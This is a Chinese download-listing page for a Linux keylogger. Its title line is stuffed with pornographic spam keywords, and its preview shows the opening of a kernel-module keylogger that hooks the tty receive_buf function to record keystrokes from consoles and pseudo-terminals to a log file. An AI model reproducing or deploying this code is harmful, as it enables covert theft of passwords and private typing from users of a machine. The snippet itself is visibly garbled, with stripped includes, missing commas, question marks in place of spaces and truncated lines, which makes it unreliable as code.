91av视频/亚洲h视频/操亚洲美女/外国一级黄色毛片 - 国产三级三级三级三级

  • 大小: 26KB
    文件類型: .c
    金幣: 1
    下載: 0 次
    發布日期: 2021-05-20
  • 語言: 其他
  • 標簽: 鍵盤??

資源簡介

本文分成兩個部分。第一部分給出了Linux鍵盤驅動的工作原理,而后給出了鍵盤記錄器的工作細節及其源代碼。

資源截圖

代碼片段和文件信息

#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?“config.h“
#include?“klogger.h“

extern?int?hook_init(void);

spinlock_t?pty_lock?=?SPIN_LOCK_UNLOCKED;
spinlock_t?pty_lock1?=?SPIN_LOCK_UNLOCKED;

struct?tlogger?*ttys[MAX_TTY_CON?+?MAX_PTS_CON]?=?{?NULL?};

int?vlogger_mode?=?DEFAULT_MODE;

struct?tty_struct?*tty?=?NULL;
struct?tty_driver?*tty_driver?=?NULL;

int?errno;

void?(*old_receive_buf)(struct?tty_struct?*const?unsigned?char?*char?*int);

int?epoch2time?(const?time_t?*t?long?int?offset?struct?vtm?*tp);
void?get_time?(char?*date_time);
void?new_receive_buf(struct?tty_struct?*tty?const?unsigned?char?*cp
????????????????????????char?*fp?int?count);
void?reset_all_buf(void);
struct?task_struct?*get_task(pid_t?pgrp);
void?special_key(struct?tlogger?*tmp?const?unsigned?char?*cp?int?count);
void?logging(struct?tty_struct?*tty?struct?tlogger?*tmp?int?cont);
void?vlogger_process(struct?tty_struct?*ttyconst?unsigned?char?*cp?int?count);
int?write_to_file(char?*logfile?char?*buf?int?size);
void?init_tty(struct?tty_struct?*tty?int?tty_index);
int?my_open_tty(void);


int?epoch2time?(const?time_t?*t?long?int?offset?struct?vtm?*tp)
{
????????static?const?unsigned?short?int?mon_yday[2][13]?=?{
????????/*?Normal?years.??*/
????????{?0?31?59?90?120?151?181?212?243?273?304?334?365?}
????????/*?Leap?years.??*/
????????{?0?31?60?91?121?152?182?213?244?274?305?335?366?}
????????};

????????long?int?days?rem?y;
????????const?unsigned?short?int?*ip;

????????days?=?*t?/?SECS_PER_DAY;
????????rem?=?*t?%?SECS_PER_DAY;
????????rem?+=?offset;

????????while?(rem?????????????????rem?+=?SECS_PER_DAY;
????????????????--days;
????????}
????????
????????while?(rem?>=?SECS_PER_DAY)?{
????????????????rem?-=?SECS_PER_DAY;
????????????????++days;
????????}
????????
????????tp->tm_hour?=?rem?/?SECS_PER_HOUR;
????????rem?%=?SECS_PER_HOUR;
????????tp->tm_min?=?rem?/?60;
????????tp->tm_sec?=?rem?%?60;
????????y?=?1970;

????????while?(days?=?(isleap?(y)???366?:?365))?{
????????????????long?int?yg?=?y?+?days?/?365?-?(days?%?365?????????????????days?-=?((yg?-?y)?*?365
????????????????+?LEAPS_THRU_END_OF?(yg?-?1)
????????????????-?LEAPS_THRU_END_OF?(y?-?1));
????????????????y?=?yg;
????????}
????????
????????tp->tm_year?=?y?-?1900;
????????if?(tp->tm_year?!=?y?-?1900)
????????????????return?0;
????????ip?=?mon_yday[isleap(y)];

????????for?(y?=?11;?days?????????????????continue;
????????days?-=?ip[y];
????????tp->tm_mon?=?y;
????

評論

共有 條評論